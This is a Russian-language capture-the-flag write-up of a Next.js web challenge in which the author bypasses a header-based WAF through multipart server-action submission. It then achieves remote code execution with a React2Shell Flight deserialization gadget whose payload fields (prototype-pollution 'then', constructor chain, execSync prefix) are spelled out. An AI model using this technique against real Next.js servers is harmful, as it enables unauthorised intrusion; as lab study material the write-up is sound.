Фуникулёр врагам Кубани
Цель: восстановить штатную работу терминала и запустить скрипт восстановления из бэкапа.
1. Исходные наблюдения
На главной странице https://funicular-gm2cxozn.alfactf.ru/ отображался интерфейс станции "СБУК-7 // ОП-3" со следующими признаками инцидента:
- на главном табло был баннер "КУРАГУ ДРУЗЬЯМ КУБАНИ";
- линия находилась в сервисном стопе;
- шкаф lift-hvc-2 был в состоянии "стоп";
- интерфейс подсказывал, что требуется восстановление резервной копии ПЛК и перезагрузка;
- в RSC/HTML-потоке страницы присутствовали:
packet = south-line.2026-03-27
workOrder = WO-17-04
recoveryAction = server action
Клиентская панель показывала только три операции:
- plc-sync - telemetry-snapshot - maintenance-preview
Все они отправлялись в POST /api/operator/dispatch.
2. Первичная диагностика доступа
Локально сетевые запросы сначала не работали из-за прокси в окружении:
- HTTP_PROXY=http://127.0.0.1:9 - HTTPS_PROXY=http://127.0.0.1:9 - ALL_PROXY=http://127.0.0.1:9
После очистки этих переменных удалось нормально обращаться к целевому хосту.
3. Что показал клиентский код
Из страницы и JS-чанков удалось извлечь:
- server action id: 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2 - dispatch endpoint: /api/operator/dispatch - параметры интерфейса: packet = south-line.2026-03-27 workOrder = WO-17-04 terminal = ОП-3 / верхняя станция
При прямых POST-запросах к /api/operator/dispatch сервер отвечал 502:
"Сервисный контур станции неисправен. От шлюза не получен ответ за требуемое время."
То есть нормальный клиентский путь был заведомо сломан.
4. Проверка hidden server action
Так как в RSC-потоке был виден server action id, следующая гипотеза была такой:
- либо recoveryAction реально выполняет восстановление; - либо его можно дернуть в обход клиентского API.
Прямой вызов server action через стандартный Next.js fetch-механизм потребовал заголовок Next-Action.
Этот путь сразу блокировался WAF:
HTTP 403 Request blocked by WAF: ^Next-Action$
Проверка разными регистрами заголовка не помогла:
- Next-Action - next-action - NEXT-ACTION - смешанный регистр
Все варианты отбрасывались одинаково.
5. Смещение акцента на React2Shell + WAF bypass
Дальнейшее исследование велось уже с акцентом на React2Shell и обход фильтрации.
- WAF режет только прямой action-fetch с заголовком Next-Action; - но Next.js умеет обрабатывать multipart form submit в MPA-ветке; - для MPA multipart используются поля $ACTION_ID_* и $ACTION_REF_*; - в этом пути можно попасть в React Flight deserialization без запрещённого заголовка.
6. Что показали исходники/бандлы Next.js на сервере
Через изучение серверных чанков Next.js было подтверждено:
- recoveryAction с id 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2 существует; - он зарегистрирован как requestRecovery; - его реализация возвращает только заглушку:
{
ok: false,
packet: "south-line.2026-03-27",
workOrder: "WO-17-04",
error: "recovery-offline",
message: "Контур восстановления требует авторизации через сервисный шлюз. Повторите после сверки регламентного пакета."
}Иными словами, легитимный recoveryAction сам по себе ничего не чинит.
7. Рабочий WAF bypass
Сработал обход через multipart MPA submission без заголовка Next-Action.
- $ACTION_REF_1 - $ACTION_1:0 - $ACTION_1:1
Успешная полезная нагрузка использовала:
- валидный action id;
- bound = "$1" или "$@1";
- then = "$1:__proto__:then";
- status = "resolved_model";
- value = "{\"then\":\"$B0\"}";
- _response._formData.get = "$1:constructor:constructor";
- _response._prefix = JavaScript-код для execSync(...)Именно этот путь дал выполнение команды на сервере и вернул HTTP 303 с Location вида:
http://x/<base64-stdout>
Это подтвердило успешный React2Shell в обход WAF.
8. Подтверждение RCE
В качестве безопасной проверки были выполнены команды:
- pwd - ls -la - find / -maxdepth 3 -type f ...
- рабочая директория: /app - приложение собрано в standalone Next.js - найден скрипт восстановления: /app/scripts/restore-from-backups.sh
9. Анализ скрипта восстановления
Содержимое /app/scripts/restore-from-backups.sh:
- читает receipt из: /opt/funicular/archive/WO-17-04.receipt - если receipt недоступен или пуст, возвращает ошибку; - если receipt прочитан, печатает: workflow: operator-recovery ticket: WO-17-04 packet: south-line.2026-03-27 status: applied receipt: <значение>
То есть фактическое "восстановление" в рамках задания заключается в запуске этого скрипта и получении контрольной receipt-строки.
10. Запуск скрипта восстановления
Скрипт был выполнен напрямую через уже рабочий React2Shell bypass.
/app/scripts/restore-from-backups.sh
workflow: operator-recovery
ticket: WO-17-04
packet: south-line.2026-03-27
status: applied
receipt: alfa{*иди получай флаг сам, салага*}11. Дополнительная проверка receipt
Файл /opt/funicular/archive/WO-17-04.receipt содержал:
alfa{иди получай флаг сам, салага 2}Это совпало с выводом restore-скрипта.
12. Итог
Штатный путь через клиентские кнопки и /api/operator/dispatch был неработоспособен.
Hidden recoveryAction существовал, но был намеренно заглушён и возвращал только "recovery-offline".
Рабочее решение потребовало:
- выявить Next.js server action; - понять, что WAF режет только заголовок Next-Action; - перейти на multipart MPA-путь; - использовать React2Shell через $ACTION_REF_* в обход WAF; - выполнить реальный restore-скрипт напрямую.
alfa{иди получай флаг сам, салага 3}13. Краткая техническая выжимка
- Платформа: Next.js App Router - Защита: WAF с фильтром по заголовку Next-Action - Обход: multipart MPA server action path - Эксплуатация: React2Shell / Flight deserialization gadget - Реально полезный файл: /app/scripts/restore-from-backups.sh - Receipt-файл: /opt/funicular/archive/WO-17-04.receipt
14. Вывод по сценарию задания
С практической точки зрения задача решалась не через "починку" UI, а через исследование серверной логики:
- UI вводил в заблуждение;
- официальный recovery route был отключён;
- единственным надёжным способом выполнить требование задания оказался прямой запуск backup restore script на сервере.